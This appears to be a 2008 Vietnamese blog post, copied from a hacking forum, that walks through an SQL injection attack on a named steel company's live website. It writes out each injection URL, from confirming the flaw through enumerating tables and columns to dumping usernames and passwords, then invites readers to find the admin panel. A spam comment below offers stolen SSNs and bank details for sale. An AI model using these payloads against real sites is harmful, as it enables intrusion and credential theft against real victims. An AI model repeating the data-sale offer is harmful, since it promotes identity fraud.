Tuesday, August 26, 2008

Hack site Toàn Thắng - sql injection

Hack site Toàn Thắng - sql injection
Victim :
http://www.toanthangsteel.com.vn/

Link khai thác
http://www.toanthangsteel.com.vn/vn/...n.php?tinID=35'

Có lỗi rồi đó, nhưng check lại xem khai thác được không nào ??
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 and 1=1--
Sẽ đc trả về giá trị true
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 and 1=0--
Sẽ đc trả về giá trị false.

OK ngon rồi. Bắt đầu nào

Bây giờ làm gì nhỉ ? Đếm column = order by
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 order by 1--
Nếu hiển thị thông tin ở dưới thì là true, còn không có gì là false. Mình đang đi tìm giá trị false để xem column cuối cùng là bao nhiu. Ở đây mình tìm đc là 7
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 order by 7--
Bạn thử order by là 8 coi, lập tức sẽ hiển thị thông tin false liền

Đếm xong rồi thì chỉ việc điền vào thôi

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 union select 1,2,3,4,5,6,7--
Ủa ?? đúng column rồi mà ?? Sao không có số nào hết vậy kà thay 35 = null xem nào

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,4,5,6,7--
Thấy số 4 không nào ?? thay 4 = version() để check xem nó dùng version bao nhiu nhé

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,version(),5,6,7--
Ta đc 5.0.51a-community úi mừng quá khỏi phải mò table_name

Lấy table_name nào

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables--
Ủa ?? Sao ra có 1 table vậy trời kì vậy ?? sai gì chăng ?? Chợt nhớ lại cái tuts của sis hoangduye ( 100% girl luôn nà anh em mau nhào vô đê )

trường hợp chỉ hiển thị 1 table đầu tiên, thì dùng limit
limit 0,1 > table thứ 1
limit 1,1 > table thứ 2
limit 2,1 > table thứ 3
limit n,1 > table thứ n

Như vậy câu khai thác sẽ là

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables limit 0,1--
Các bạn thử lần lượt, chừng nào có những table mình cần là đc. Ví dụ như admin, users ...
Ở đây mình đã tìm đc rồi, table users limit 31,1 <~ điên luôn

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables limit 31,1--
Có table rồi, bây giờ sẽ lấy column ở table users. Nhưng bằng cách nào ?? sis hoangduye đã có tuts rồi kìa
convert table users sang ASCII
Web : http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html
Sau khi convert thì thay vào câu lệnh để query.

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name= char(117, 115, 101, 114, 115) limit 0,1--
Đó ... lại hiển thị 1 column nữa Sao mình ghét thế nhể .. lại mò nữa

Okie có rồi : Username và Pass oh yeah nó đây

Có đầy đủ table_name + column_name rồi ta chỉ việc thay vào.

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,concat(Username,char(58),Pass),5,6,7 from users--
concat() <~ hic chả hiểu câu này có nghĩa gì, nhìn mà dị ứng

Link admin các bạn tự tìm nhé

P/s : Nếu cảm thấy bài viết này có ích, sau khi vào đc admincp thì đừng edit bất cứ cái gì vào nghía cái rồi ra đc rồi

url:http://danviet.biz/forum/showthread.php?t=725

1 comment:

No Name said...

Hi All!

I'm selling fresh & genuine SSN Leads, with good connectivity. All data is tested & verified.
Headers in Leads:

First Name | Last Name | SSN | Dob | Address | State | City | Zip | Phone Number | Account Number | Bank NAME | DL Number | House Owner

*You can ask for sample before any deal
*Each SSN lead will be cost $1
*Premium Lead will be cost $5
*If anyone wants in bulk I will negotiate
*Sampling is just for serious buyers

Hope for the long term deal
For detailed information please contact me on:

Whatsapp > +923172721122
Email > leads.sellers1212@gmail.com
Telegram > @leadsupplier
ICQ > 752822040